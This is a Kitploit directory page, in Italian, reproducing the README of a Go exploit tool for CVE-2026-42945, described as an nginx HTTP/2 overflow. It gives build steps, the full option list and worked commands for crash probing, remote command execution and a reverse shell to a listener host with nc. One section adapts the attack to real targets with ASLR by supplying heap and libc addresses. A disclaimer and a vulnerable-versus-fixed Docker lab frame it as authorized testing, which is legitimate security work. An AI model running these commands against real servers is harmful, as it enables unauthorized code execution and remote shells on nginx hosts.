Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

FeedContattoPrivacy© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-42945 — Strumento di exploit basato su Go per CVE-2026-42945 (nginx HTTP/2) con capacità di rilevamento, probing di crash, esecuzione di comandi e reverse shell per test di sicurezza autorizzati. | Kitploit
Strumenti/GitHubGitHub/redcrazyghost/cve-2026-42945
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebFuzzingPenetration TestingBinary Exploitation
GitHubredcrazyghost/cve-2026-42945

CVE-2026-42945

Strumento di exploit basato su Go per CVE-2026-42945 (nginx HTTP/2) con capacità di rilevamento, probing di crash, esecuzione di comandi e reverse shell per test di sicurezza autorizzati.

Vedi Repository
194 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2026-42945 PoC(Go)

Italiano | English

Strumento di rilevamento e sfruttamento ausiliario per l'implementazione di nginx HTTP/2 (CVE-2026-42945), utilizzato per verificare la presenza della vulnerabilità in ambienti autorizzati, confrontare gli effetti delle correzioni e riprodurre il comportamento del PoC in un ambiente sperimentale controllato.

Versioni interessate (stima): nginx 0.6.27 – 1.30.0; 1.30.1+ / 1.31.0+ sono state corrette.


⚠️ Dichiarazione di esonero di responsabilità (leggere attentamente)

Questo repository è destinato esclusivamente a scopi di ricerca sulla sicurezza, verifica delle vulnerabilità e test difensivi.

  1. Autorizzazione legale: puoi utilizzare questo strumento solo su sistemi per i quali hai esplicita autorizzazione scritta o che sono di tua completa proprietà. Scansionare, sondare o attaccare reti/server altrui senza autorizzazione è illegale. Gli autori e i collaboratori non si assumono alcuna responsabilità legale.
  2. Rischio personale: il processo di sfruttamento potrebbe causare il crash del worker del servizio target, interruzioni del servizio o danni ai dati. Devi valutare l'impatto e verificare prima in un ambiente isolato.
  3. Nessuna garanzia: questo strumento viene fornito 'così com'è', senza garanzia di sfruttamento riuscito in alcun ambiente di produzione reale; i risultati del canale laterale non equivalgono a un RCE riuscito, deve essere verificato indipendentemente tramite scrittura di file, echo di comandi o reverse shell.
  4. Divieto di abuso: è vietato utilizzare questo strumento per penetrare sistemi non autorizzati, ransomware, distruzione, mining o qualsiasi scopo illegale. Scaricare, compilare o utilizzare implica che hai letto e accetti questa dichiarazione.
  5. Non affiliato con NGINX ufficiale: questo progetto è un'implementazione di ricerca indipendente e non rappresenta la posizione di NGINX ufficiale o di qualsiasi produttore.

Se non accetti i termini di cui sopra, interrompi immediatamente l'uso ed elimina questo repository.


Panoramica delle funzionalità

ModalitàDescrizione
-check-onlyProva di connettività, header Server, stima versione, rilevamento endpoint PoC
-probe-crashInvia un ciclo di rilevamento overflow, determina tramite canale laterale di crash del worker
-cmdCostruisce il payload exploit, esegue il comando specificato tramite system()
-shellReverse shell (richiede -lhost, host locale deve avere nc)
-dockerTest batch dell'ambiente sperimentale Docker locale (vuln / fixed)

Requisiti di ambiente

  • Go ≥ 1.26 (vedi go.mod)
  • Opzionale: Docker + docker compose (ambiente sperimentale locale)
  • Opzionale: make, golangci-lint (sviluppo/controllo codice)
  • Verifica dello sfruttamento: il target deve esporre gli endpoint necessari per il PoC (GET /api/, POST /spray ecc.); le immagini Docker sperimentali lo contengono già

Limitazioni e ambiente applicabile

ElementoDescrizione
Protocollosupporta solo HTTP in chiaro (net.Dial + byte HTTP grezzi), non supporta HTTPS/TLS. Per porte TLS come -port 443, è necessario un terminatore TLS a monte o utilizzare una porta HTTP.
Docker sperimentalele immagini sono linux/amd64, il primo docker compose build richiede la compilazione di nginx dal sorgente, ci vuole tempo; all'interno del contenitore viene usato setarch -R per disabilitare ASLR, molto diverso dall'ambiente di produzione.
Apple SiliconDocker locale emula con platform: linux/amd64, più lento.
Reverse shell-shell dipende da nc di sistema, su Windows si consiglia di ascoltare manualmente.
Verifica dello sfruttamentoil canale laterale (crash del worker) non equivale a RCE, è necessario verificare indipendentemente gli effetti collaterali del comando.

Compilazione

# Costruzione rapida (output in bin/, già in .gitignore)
make build-cmd

# Oppure direttamente con go
go build -o ./bin/cve-2026-42945 ./cmd

# Visualizza versione incorporata
./bin/cve-2026-42945 -version

Binari pubblicati: scarica cve-2026-42945-<os>-<arch> per la tua piattaforma dalle Release (costruiti automaticamente da GitHub Actions dopo il push di un tag v*).


Guida all'uso

Parametri della riga di comando

-target string      IP/nome host target (default 127.0.0.1)
-port int           Porta target (0=80; versione vulnerabile Docker usa solitamente 19321)
-docker             Test ambiente sperimentale Docker locale (vuln:19321, fixed:19331)
-check-only         Solo rilevamento, nessun traffico exploit
-probe-crash        Rilevamento overflow + canale laterale crash worker
-cmd string         Comando eseguito tramite system()
-shell              Reverse shell (richiede -lhost)
-lhost string       IP locale per reverse shell
-lport int          Porta locale per reverse shell (default 4444)
-docker-profile     Usa indirizzi heap/libc misurati da deploy/docker
-heap-base string   Indirizzo heap (hex, es. 0x555555659000)
-libc-base string   Indirizzo libc (hex)
-tries int          Numero di tentativi per candidato heap (default 10)
-timeout int        Timeout HTTP in secondi (default 5)
-v                  Output dettagliato
-version            Mostra versione ed esce

La modalità -docker non può essere usata insieme a -cmd / -shell; per lo sfruttamento su singolo target specificare -port 19321.

1. Solo rilevamento del target

./bin/cve-2026-42945 -target 192.168.1.10 -port 80 -check-only

2. Canale laterale di crash (singolo target)

./bin/cve-2026-42945 -port 19321 -probe-crash -v

3. Confronto ambiente sperimentale Docker

Avvia prima i contenitori sperimentali:

make docker-up
# oppure
docker compose -f deploy/docker-compose.yml up -d --build

La prima compilazione richiede la compilazione di nginx, potrebbero volerci alcuni minuti; attendere che i servizi siano healthy in docker compose ps prima di eseguire make test-lab.

ServizioPortaDescrizione
vuln19321nginx 1.30.0 (vulnerabile)
fixed19331nginx 1.30.1 (corretto)

Rilevamento batch:

./bin/cve-2026-42945 -docker -check-only
./bin/cve-2026-42945 -docker -probe-crash

Oppure usando i target Makefile:

make test-lab          # check + probe
make cmd-exploit       # Scrive /tmp/pwned sul contenitore vuln e mostra comandi di verifica

4. Esecuzione comando su Docker vuln (verifica RCE)

Il contenitore sperimentale ha la massima probabilità di successo con ASLR disabilitata (setarch -R) e usando -docker-profile per indirizzi preimpostati:

./bin/cve-2026-42945 -port 19321 -docker-profile \
  -cmd 'echo pwned > /tmp/pwned' -v

# Verifica se il file è stato scritto
docker exec nginx-rift-vuln-1.30.0 cat /tmp/pwned

5. Reverse shell

# Terminale 1: avvia lo strumento (prova ad ascoltare in background con nc)
./bin/cve-2026-42945 -port 19321 -docker-profile -shell -lhost 10.0.0.5 -lport 4444 -v

# Se nc non viene trovato, apri un altro terminale e ascolta manualmente:
nc -lvnp 4444

6. Layout di memoria personalizzato

Se il target reale ha ASLR, versione libc diversa da Docker, è necessario divulgare o stimare gli indirizzi:

# Il target deve essere una porta HTTP in chiaro (non TLS)
./bin/cve-2026-42945 -target TARGET -port 8080 \
  -heap-base 0x555555659000 \
  -libc-base 0x7ffff77ba000 \
  -cmd 'id' -tries 20 -v

Interpretazione dei risultati

Scarica lo strumento